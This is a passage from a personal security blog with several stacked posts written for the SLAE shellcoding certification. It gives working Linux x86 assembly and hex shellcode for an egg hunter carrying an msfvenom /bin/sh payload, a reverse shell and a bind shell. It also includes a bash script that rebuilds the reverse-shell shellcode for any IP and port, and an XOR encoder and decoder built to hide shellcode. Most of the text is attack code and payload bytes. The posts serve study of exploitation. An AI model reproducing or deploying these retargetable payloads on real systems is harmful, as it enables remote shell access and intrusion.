	cmp dword [edx + 0x4], 0x69766178
        jnz next_address

Step 4:

At this point, we already found our egg! 🙂 We only need to jump to the exact position where it starts. To do that, we have to do:

	; JMP to the shellcode
	lea edx, [edx+8]
	jmp edx 	

This is the final code of the file egg_hunter.nasm.

; Filename: egg_hunter.nasm
; Author:  Xavier Beltran
; Course: SLAE - Pentester Academy
; EGG = xavi =  0x78617669

global _start

section .text
_start:

next_page: 
	or dx, 0xfff

next_address:
	inc edx 
	mov ebx, edx
	xor eax, eax
	mov al, 0x21
	int 0x80

	; Verify if SYS_ACCESS returned an EFAULT
	cmp al, 0xf2
	jz next_page

	; Verify if we found the EGG
	cmp dword [edx], 0x69766178
	jnz next_address
	cmp dword [edx + 0x4], 0x69766178
  	jnz next_address

	; JMP to the shellcode
	lea edx, [edx+8]
	jmp edx

And this is the final code shellcode.c

#include<stdio.h>
#include<string.h>

unsigned char egghunter[] = \
"\x66\x81\xca\xff\x0f\x42\x89\xd3\x31\xc0\xb0\x21\xcd\x80\x3c\xf2\x74\xee\x81\x3a\x78\x61\x76\x69\x75\xeb\x81\x7a\x04\x78\x61\x76\x69\x75\xe2\x8d\x52\x08\xff\xe2";

unsigned char shellcode[] = \
"xavixavi" //EGG
"\xbd\x64\xb2\x0c\xf4\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xb1" // msfvenom -p linux/x86/exec CMD=/bin/sh -f c -b \x00
"\x0b\x83\xc2\x04\x31\x6a\x11\x03\x6a\x11\xe2\x91\xd8\x07\xac"
"\xc0\x4f\x7e\x24\xdf\x0c\xf7\x53\x77\xfc\x74\xf4\x87\x6a\x54"
"\x66\xee\x04\x23\x85\xa2\x30\x3b\x4a\x42\xc1\x13\x28\x2b\xaf"
"\x44\xdf\xc3\x2f\xcc\x4c\x9a\xd1\x3f\xf2";


main()
{

	printf("Egghunter Length: %d\n",strlen(egghunter));
	printf("Shellcode Length: %d\n", strlen(shellcode));

	int (*ret)() = (int(*)())egghunter;

	ret();

}

As you can see the payload is easily configurable.

And here is a little screenshot of the code working!

Here is a link to my Github account where all the code is stored:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment3

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Reverse Shell TCP – Assignment 2

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

Code structure:

  • 1. Create a socket
  • 2. Connect to a IP and port
  • 3. Redirect STDIN, STDOUT and STDERR to the client connection
  • 4. Execute a shell

Again, I prepared an example coded in C:

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main(){
	// man socket
	int host_socket = socket(AF_INET, SOCK_STREAM, 0);

	// man 7 ip
	struct sockaddr_in host_address;

	host_address.sin_family = AF_INET;
	// man htons
	host_address.sin_port = htons(8888);
	host_address.sin_addr.s_addr = inet_addr("127.0.0.1");	

	//man connect
	connect(host_socket, (struct sockaddress *)&host_address, sizeof(host_address));

	// man dup
	dup2(host_socket, 0);
	dup2(host_socket, 1);
	dup2(host_socket, 2);

	// man execve
	execve("/bin/sh", NULL, NULL);
}

1. Create a socket

We already know how to do this part, it’s explained step by step in the previous blog post:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd

2 . Connect to an IP and a port

If we check the man page, we can see what arguments we need to pass to connect function:

; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

If we remember the bind function from the previous assignment is almost the same:

; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2

; struct sockaddr
xor edx, edx
push edx
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp

int 0x80

Nevertheless, we need to do a change, we need to pass the IP address where we want to connect.

First of all, we need to convert the address to hex, we can use this python function:

[socket@xxxxx ~]$ python
Python 3.7.2 (default, Jan 10 2019, 23:51:51) 
[GCC 8.2.1 20181127] on linux
...
>>> import socket
>>> socket.inet_aton('127.0.0.1')
b'\x7f\x00\x00\x01' // it has nulls, we can't use it
>>> socket.inet_aton('127.1.1.1')
b'\x7f\x01\x01\x01'

And now, let’s modify our previous code. We are going to push the hex address for the IP, and modify EBX to contain a 3 that is SYS_CONNECT.

; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; socket syscall
xor eax, eax
mov al, 0x66
mov bl, 0x2

; struct sockaddr
push 0x0101017f ; ip address 127.1.1.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect

int 0x80

3. Duplicate the file descriptors

We are going to use the same code that we used in the previous assignment:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

But we need to store sockfd in EBX, because is needed in dup as a parameter. So we are going to do:

mov ebx, edi ; moving sockfd

Final code of this part:

; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

mov ebx, edi ; moving sockfd

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop

4. Execute a shell

Exactly the same code that we used in the previous assignment:

https://xavibel.com/2019/04/26/shellcoding-linux-x86-shell-bind-tcp/

This part of code:

; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

We put all together, and this is the final code:

; Filename: reverse_shell.nasm
; Author:  Xavier Beltran
; Course: SLAE - Pentester Academy

global _start			

section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx



; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd



; Part 2
; Connect
; int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

; socket syscall
xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x2

; struct sockaddr
push 0x0101017f ; ip address 127.0.0.1
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; connect arguments
push 0x10
push ecx
push edi
mov ecx, esp
mov bl, 0x3 ; sys_connect

int 0x80



; Part 3
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

;mov ebx, edi ; moving sockfd
xchg ebx, edi

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop



; Part 4
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

This if the final shellcode:

"\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x7f\x01\x01\x01\x66\x68\x22\xb8\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

And it works!


Port and IP address changer:

I did this bash script to automate the process of selecting a different ip address and port. Here is the code:

#!/bin/bash

# ip address
ip_address=$1

ip_1=$(echo $ip_address | awk -F '.' '{print$1}')
ip_2=$(echo $ip_address | awk -F '.' '{print$2}')
ip_3=$(echo $ip_address | awk -F '.' '{print$3}')
ip_4=$(echo $ip_address | awk -F '.' '{print$4}')

ip_hex1=$(echo "obase=16; $ip_1" | bc)
ip_hex2=$(echo "obase=16; $ip_2" | bc)
ip_hex3=$(echo "obase=16; $ip_3" | bc)
ip_hex4=$(echo "obase=16; $ip_4" | bc)

if [ $(echo $ip_hex1 | wc -c) == 2 ]
then
	ip_hex1=$(echo $ip_hex1 | sed 's/^/0/')
fi

if [ $(echo $ip_hex2 | wc -c) == 2 ]
then
	ip_hex2=$(echo $ip_hex2 | sed 's/^/0/')
fi

if [ $(echo $ip_hex3 | wc -c) == 2 ]
then
	ip_hex3=$(echo $ip_hex3 | sed 's/^/0/')
fi

if [ $(echo $ip_hex4 | wc -c) == 2 ]
then
	ip_hex4=$(echo $ip_hex4 | sed 's/^/0/')
fi

echo '[+] IP address values in hex:'
echo $ip_hex4 $ip_hex3 $ip_hex2 $ip_hex1
# 01 01 01 7F

# port
port_hex=$(echo "obase=16; $2" | bc | sed 's/.\{2\}$/:&/')
port_hex1=$(echo $port_hex | awk  -F ':' '{print$2}')
port_hex2=$(echo $port_hex | awk  -F ':' '{print$1}')

if [ $(echo $port_hex1 | wc -c) == 2 ]
then
	port_hex1=$(echo $port_hex1 | sed 's/^/0/')
fi

if [ $(echo $port_hex2 | wc -c) == 2 ]
then
	port_hex2=$(echo $port_hex2 | sed 's/^/0/')
fi

echo '[+] Port converted to hex:'
echo $port_hex1
echo $port_hex2

echo -e '[+] Final Shellcode:'

shellcode="\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\x31\xdb\xb3\x02\x68\x$ip_hex1\x$ip_hex2\x$ip_hex3\x$ip_hex4\x66\x68\x$port_hex2\x$port_hex1\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xb3\x03\xcd\x80\x87\xdf\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

echo $shellcode

And here is an screenshot:

Here is a link to my Github account where all the code is stored:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment2

And that’s all for this interesting second assignment!

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 – Bind Shell TCP – Assignment 1

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

To achieve the objective of creating a Bind Shell TCP, we need to understand the code structure that we need to create.

Is going to be the following:

  • 1. Create a socket
  • 2. Bind a socket
  • 3. Configure the socket to listen
  • 4. Accept connections to the socket
  • 5. Redirect STDIN, STDOUT, STDERR to the socket
  • 6. Run Execve to execute a shell

A few years ago, for learning purposes I learn how to write a bind shell in C. I’m going to re-write that code and I’m going to use it as a guide to create the final Assembly code.

This is the Bind Shell TCP C code:

#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>

int main(){
	// man socket
	int host_socket = socket(AF_INET, SOCK_STREAM, 0);

	// man 7 ip
	struct sockaddr_in host_address;

	host_address.sin_family = AF_INET;
	// man htons
	host_address.sin_port = htons(8888);
	host_address.sin_addr.s_addr = INADDR_ANY;	
	
	// man bind
	bind(host_socket, (struct sockaddr *)&host_address, sizeof(host_address));

	// man listen
	listen(host_socket, 0);

	// man 2 accept
	int client_socket = accept(host_socket, NULL, NULL);

	// man dup
	dup2(client_socket, 0);
	dup2(client_socket, 1);
	dup2(client_socket, 2);

	// man execve
	execve("/bin/sh", NULL, NULL);

Now that we have a clear structure to follow. Let’s create the code step by step.


0. Structure of the program and preparing the registers

Before starting with more complicated stuff. Le’ts create the structure of our Assembly code, and set the registers to 0 without putting any null bytes in our code.

We can do that like this:

global _start

section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx

1. Create a socket:

First of all, I want to know what system call I have to use to create a socket. We can find it reading the following file:

socket@ubuntu:~/Assesments/1$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep socket
#define __NR_socketcall 102

So the syscall has the number 102.

After that, let’s try to understand how we can open a socket in linux. We are going to use the command: man socket

And: man socketcall

The first step that we need to do, is to call the first function:

; int socketcall(int call, unsigned long *args);

So we have to prepare our registers:

  • EAX must be the system call number 102
  • EBX has the be the call variable, that neds to be 1
  • ECX has to contain the args

To understand why EBX has to be 1, we can read the following file: /usr/include/linux/net.h

As you can see in the image above, the SYS_SOCKET creation match the number 1.

The second step, is to prepare the arguments. The arguments that we need to pass are the args variable that the function socket needs, and we are going to use the stack to pass them.

; int socket(int domain, int type, int protocol);

The first argument, it’s domain, we can look in the file /usr/include/i386-linux-gnu/bits/socket.h. It needs to contain a 2.

/* Protocol families.  */
...
#define	PF_INET		2	/* IP protocol family.  */

The second variable type, we can find what value we need to use in the file: /usr/src/linux-headers-4.4.0-31/include/linux/net.h. It has to contain a 1.

cat /usr/src/linux-headers-4.4.0-31/include/linux/net.h | grep SOCK_STREAM
 * @SOCK_STREAM: stream (connection) socket SOCK_STREAM = 1,

The third and last variable is the protocol, again we can identify what number we need to use here reading linux documentation. In this case the file: /etc/protocols. So it has to contain a 0.

socket@ubuntu:~/Assesments/1$ cat /etc/protocols
...
ip	0	IP		# internet protocol, pseudo protocol number

If we put all these together. We are going to create the following code:

; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd

2. Bind a socket:

In this point, we have created a socket, and now we need to bind it. To do that we have to use the socketcall again, but this time we need to set the call argument to 2 that is SYS_BIND.

; int socketcall(int call, unsigned long *args);
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen);

Again, we prepare our registers:

  • EAX should be the system call 102
  • EBX is the call variable, in this case 2
  • ECX contains the arguments

After preparing the registers, we need to know the values of the bind function parameters and save them in the stack

  • sockfd is our socket, we stored this value inside edi register in the previous step
  • sockaddr is a struct that contains: sin_family, sin_port and sin_addr
  • socklen is the length of the struct above

Here is the key point of this exercise. We need to store in the stack first the struct that contains the 3 variables, save that in ECX register. And after, we save into the stack the bind parameters, and again save them into ECX.

So, let’s start for the last one, remember that we need to push them in reverse order. It’s a 0, is the address 0.0.0.0 that makes the socket listen in all the interfaces.

push ebx ; 0

The next one is the port in reverse byte order. In this case I’m going to use the port 8888, that is going to be 0x22b8 but in reverse order is 0xb822.

push word 0xb822 ; port 8888

The last one is AF_INET that as we know, from the previous step, is 2.

push ebx; AF_INET = 2

Let’s save it in ECX. So we point ECX to the top of the stack.

mov ecx, esp

With the variables of the struct in the correct position, now we have to prepare the variables of the bind function. That we already know what they are. As always we need to push them in inverse order.

The first one is the size of the struct, that is 16, in hex is 0x10

push 0x10

The second one, is the struct that we prepared before and we stored it in ECX.

push ecx

The last one, and the first parameter of bind function is sockfd. If you remember the previous step, we stored it in edi.

push edi

Ok. Now all the parameters are prepared. So we need to store it in ECX. Let’s point ECX to the top of the stack and call the interrupt 0x80

mov ecx, esp
int 0x80

And here is the final code of this step:

; Bind a socket
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2

; struct sockaddr
xor edx, edx
push edx
push word 0xb822
push bx
mov ecx, esp

; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp

int 0x80

3 . Configure the socket to listen

And other time, we are going to use socketcall, but this time we need to set the call argument to 4 that is SYS_LISTEN.

; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);

Let ‘s prepare the registers:

  • EAX must be the system call 102
  • EBX has to be the call variable that in this case is 4
  • ECX has to contain the arguments of the listen function

So, we can do:

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x4

If we see the function listen, it asks for 2 arguments, the first one it’s already familiar to us, and we have it stored in EDI register. To understand the second one, we can run the command: man 2 listen.

In this case, we have to setup the backlog to 1, we only want one connection.

So as always, we need to push the parameters in inverse order.

push 0x1; backlog
push edi; sockfd

And then we point ECX to the top of the stack.

mov ecx, esp

And call the interrupt.

int 0x80

The final code of this step:

; Set a socket to listen
; int socketcall(int call, unsigned long *args);
; int listen(int sockfd, int backlog);

xor eax, eax
mov al, 0x66 ; socketcall
xor ebx, ebx
mov bl, 0x4 ; call

push eax ; backlog
push edi ; socketfd
mov ecx, esp

int 0x80

4. Accept connections

We need to use socketcall syscall, and the call argument has to be 5 that is SYS_ACCEPT.

; int socketcall(int call, unsigned long *args);
; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

As always, first we prepare the registers

  • EAX must be the system call number 102
  • EBX hast o be the call variable that in this case is 5
  • ECX has to contain the arguments

We can set them like this:

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x5

If we see the function accept, it asks for 2 arguments, the usual, first one sockfd that is stored in EDI register. The other two, as we can see in the C program code need to be null.

So we can execute the following instructions.

xor edx, edx
push edx
push edx
push edi

We point ECX to the top of the stack.

mov ecx, esp

And call the interrupt.

int 0x80

After calling the interrupt, we need to store the return of the function in another register, EBX is the perfect one, because is one to be the argument of the following step.

mov ebx, eax

So the final code for the accept call has can be the following:

; Set the socket to accept connections
; int socketcall(int call, unsigned long *args);
; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x5

xor edx, edx
push edx ; 0
push edx ; 0
push edi ; socketfd

mov ecx, esp

mov bl, 0x5 ; SYS_ACCEPT

int 0x80

mov ebx, eax ; move created client_s

5. Redirect STDIN, STDOUT, STDERR to the client connection

The next step is to duplicate the file descriptors: STDIN, STDOUT and STDERR. To do it we are going to use the dup system call.

; int dup2(int oldfd, int newfd);

We identify the system call number, and we see that is the number 63 the equivalent in hex is 0x3f

socket@ubuntu:~/Assesments/1$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep -i dup2
#define __NR_dup2 63

We need to redirect the three file descriptors, we can do it without a loop, but I think it’s cleaner. So we are going to use the loop function and the JNS instruction to end the loop.

The loop structure is going to be the following:

xor ecx, ecx
mov cl, 0x2
fd:
    <code>
    dec ecx
    jns loop ; when ecx is 0 it will jump out of the loop

We also need to prepare the registers to the system call dup2:

  • EAX has to be the number 63 in hex
  • EBX it’s already sockfd, we prepared it in the last step
  • ECX hast o be 0, 1 and 2. This is the reason why we used a loop

So inside the loop we have to do:

mov al, 0x3f ; systemcall 63
0x80

Putting all this together, the final code for this part can be:

; int dup2(int oldfd, int newfd);

xor ecx, ecx
mov cl, 0x2

fd:
    mov al, 0x3f
    int 0x80
    dec ecx
    jns fd ; when ecx is 0 it will jump out of the loop

6. Run Execve to execute a shell

We are going to use the system call Execve to run an sh shell.

; int execve(const char *filename, char *const argv[], char *const envp[]);
; execve("/bin/sh", NULL, NULL); 

We identify execve system call number:

socket@ubuntu:~/Assesments/1$ cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep -i execve
#define __NR_execve 11

Registers preparation:

  • EAX needs to be the system call number 11, that is 0xb in hex
  • EBX is the “//bin/sh” string that we are going to store in the top of the stack
  • ECX and EDX needs to be 0

The command that we want to run is /bin/sh but it has 7 bytes and we need to have multiples of 4 because we want to save it in the stack.

We can use the following python program that is shared by Vivek Ramachandran.

#!/usr/bin/python
import sys
input = sys.argv[1]
print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]
for item in stringList[::-1] :
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

So we used to identify the values in hex of the string “//bin/bash”.

The string needs to be terminated by a null. So we have to do:

xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

After, we point EBX to the top of the stack.

mov ebx, esp

The final code of execve part:

; Execve
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

Final code:

; Filename: bind_shell.nasm
; Author:  Xavier Beltran
; Course: SLAE - Pentester Academy

global _start			

section .text
_start:

xor eax, eax
xor ebx, ebx
xor ecx, ecx



; Part 1
; Create a socket
; int socketcall(int call, unsigned long *args);
; int socket(int domain, int type, int protocol);

mov al, 0x66 ; 102 number in hex
mov bl, 0x1 ; call
push ecx ; protocol
push ebx ; type
push 0x2 ; domain
mov ecx, esp ; point ecx to the top of the stack
int 0x80
mov edi, eax ; stores sockfd



; Part 2
; Bind a socket
; int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen)

; socket syscall
xor eax, eax
mov al, 0x66
mov ebx, 0x2

; struct sockaddr
xor edx, edx
push edx
push word 0xb822 ; port 8888
push bx
mov ecx, esp

; bind arguments
push 0x10
push ecx
push edi
mov ecx, esp

int 0x80



; Part 3
; Set a socket to listen
; int listen(int sockfd, int backlog);

xor eax, eax
mov al, 0x66 ; socketcall
xor ebx, ebx
mov bl, 0x4 ; call

push eax ; backlog
push edi ; socketfd
mov ecx, esp

int 0x80



; Part 4
; Set the socket to accept connections
; int socketcall(int call, unsigned long *args);
; int accept4(int sockfd, struct sockaddr *addr, socklen_t *addrlen, int flags);

xor eax, eax
mov al, 0x66
xor ebx, ebx
mov bl, 0x5

xor edx, edx
push edx ; 0
push edx ; 0
push edi ; socketfd

mov ecx, esp

mov bl, 0x5 ; SYS_ACCEPT

int 0x80

mov ebx, eax ; move created client_s



; Part 5
; Duplicate file descriptors
; int dup2(int oldfd, int newfd);

xor ecx, ecx
mov cl, 0x2
fd:
	mov al, 0x3f
	int 0x80
	dec ecx
	jns fd ; when ecx is 0 it will jump out of the loop



; Part 6
; Execute a shell
; int execve(const char *filename, char *const argv[],

mov al, 0xb
xor edx, edx
mov ecx, edx

push ecx
push 0x68732f6e
push 0x69622f2f

mov ebx, esp

int 0x80

And this if the final shellcode. It’s not the smallest one, I tried to focus in understand each step of the process rather than creating a useful shellcode.

"\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\xbb\x02\x00\x00\x00\x31\xd2\x52\x66\x68\x22\xb8\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x50\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x57\x89\xe1\xb3\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

And in the image below you can see that the shellcode works!


Port configuration:

To change the port easily I did this small Bash script.

#!/bin/bash

port_hex=$(echo "obase=16; $1" | bc | sed 's/.\{2\}$/:&/')
port_hex1=$(echo $port_hex | awk  -F ':' '{print$2}')
port_hex2=$(echo $port_hex | awk  -F ':' '{print$1}')

if [ $(echo $port_hex1 | wc -c) == 2 ]
then
	port_hex1=$(echo $port_hex1 | sed 's/^/0/')
fi

if [ $(echo $port_hex2 | wc -c) == 2 ]
then
	port_hex2=$(echo $port_hex2 | sed 's/^/0/')
fi

echo '[+] Port converted to hex:'
echo $port_hex1
echo $port_hex2

echo -e '[+] Final Shellcode:'

shellcode="\x31\xc0\x31\xdb\x31\xc9\xb0\x66\xb3\x01\x51\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc7\x31\xc0\xb0\x66\xbb\x02\x00\x00\x00\x31\xd2\x52\x66\x68\x$port_hex2\x$port_hex1\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x50\x57\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x05\x31\xd2\x52\x52\x57\x89\xe1\xb3\x05\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2\x89\xd1\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80"

echo $shellcode

In the image below, you can see how easy is to generate a new shellcode with the chosen port.

Here is the link to my github account that contains all the code used in this exercise:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment1

And that’s all for the first assignment!

Posted in Exploiting | Tagged , , , , , , , , | 2 Comments

Shellcoding Linux x86 XOR Encoder

Following the SLAE course I found an interesting subject that is how to create an encoder to hide our original shellcode.

In this case we are going to use the XOR operation because it has the following property:
(A xor B) xor B = A

So when we xor two values, if after we xor for one of them, we recover the original.

To be able to do this in assembly, in the most simple example we need to select an encoder byte, in this case will be 0xAA. We need to be sure that this byte doesn’t exist in the shellcode that we want to use, because an xor for the same value will give a zero as a result.

Our decoder will XOR the encoded code to recover the original shellcode, and after that, he will pass the control to the decoded shellcode.

In this example, I’m going to use the execve shellcode that I wrote in the last post of the blog:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  http://securitytube.net
; Training: http://securitytube-training.com 
; Student: Xavi Beltran 

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax

	; PUSH //bin/sh (8 bytes) 

	push 0x68732f2f
	push 0x6e69622f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx
	mov ecx, esp


	mov al, 11
	int 0x80

And the shellcode of this code is the following:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

Once we have this shellcode compiled and we already verified that it works, we have to encode it using XOR operations. To do it we can use this small Python program:

#!/usr/bin/python

# Python XOR Encoder 

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

for x in bytearray(shellcode) :
	# XOR Encoding 	
	y = x^0xAA
	encoded += '\\x'
	encoded += '%02x' % y

	encoded2 += '0x'
	encoded2 += '%02x,' %y


print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

The next step is to prepare the skeleton of the program, we are going to use the JMP-CALL-POP technique, I wrote a blog post explaining how this technique works, so if you don’t understand it, you can read it.

This is going to be the main structure of the code without the decoding stuff:

global _start			

section .text
_start:

	jmp short call_decoder

decoder:
	pop esi


call_decoder:
	
	call decoder
	Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a

Now let’s understand how to do the loop in Assembly. We need to do 25 times an XOR operation and then jump to the Shellcode:

decoder:
pop esi
xor ecx, ecx
mv cl, 25

decode:
xor byte [esi], 0xAA
inc esi
loop decode

jmp short Shellcode

And here is the final complete code:

; Filename: xor-decoder.nasm
; Author:  Vivek Ramachandran
; Website:  http://securitytube.net
; Training: http://securitytube-training.com 
; Student: Xavi Beltran 

global _start			

section .text
_start:

	jmp short call_decoder

decoder:
	pop esi
	xor ecx, ecx
	mov cl, 25

decode:
	xor byte [esi], 0xAA
	inc esi
	loop decode

	jmp short Shellcode

call_decoder:
	
	call decoder
	Shellcode: db 0x9b,0x6a,0xfa,0xc2,0x85,0x85,0xd9,0xc2,0xc2,0x85,0xc8,0xc3,0xc4,0x23,0x49,0xfa,0x23,0x48,0xf9,0x23,0x4b,0x1a,0xa1,0x67,0x2a

And here is the shell:

You can find all the code in my github:

XaviBel Github

I hope you liked it! See you 🙂

Posted in Exploiting | Tagged , , , , , , , , | Leave a comment

Shellcoding Linux x86 STACK technique (3/3)

Hello, in this post I will explain how to use execve syscall in a shellcode using the stack technique, the purpose of this shellcode is the same as the last shellcode from the previous post. As I told you in that article, I’m currently studying SLAE certification, and this is a part of the great content of the course.

In this case, we are going to save the data in the stack before moving it to the registers. The data should be saved as multiple of four to get it from the stack using push method.

As you can see the string “/bin/bash” is not a multiple of 4, so we are going to change it to: “////bin/bash”.

The structure that is going to have the stack will be like this, from low memory to high memory:

ECX [////bin/bash address], EDX [0x00000000], EBX ["////bin/bash"], EAX [0x00000000] 

1) EAX register:

xor eax, eax
push eax

2) EBX will store the “////bin/bash” string. The first thing we need to do is to convert this string to hex, to do this we can use this tool that Vivek Ramachandran shows in the course:

#!/usr/bin/python

import sys
input = sys.argv[1]

print 'String length : ' +str(len(input))
stringList = [input[i:i+4] for i in range(0, len(input), 4)]

for item in stringList[::-1] :
	print item[::-1] + ' : ' + str(item[::-1].encode('hex'))

You can see in the image below how I used the script to convert the string to hex and put it in the inverse order.

To save this to the stack we need to do 3 pushes, and after we should save the top of the stack to ebx.

push 0x68736162
push 0x2f6e6962
push 0x2f2f2f2f
mov ebx, esp

3) A null to EDX

push eax
mov edx, esp

4) ECX needs to contain the address of the string

push ebx,
mov ecx, esp

5) Invoke the syscall

mov al, 11
int 0x80

This is the final Assembly code:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com
; Student: Xavi Bel

global _start			

section .text
_start:

	xor eax, eax
	push eax

	push 0x68736162
	push 0x2f6e6962
	push 0x2f2f2f2f

	mov ebx, esp

	push eax
	mov edx, esp

	push ebx,
	mov ecx, esp

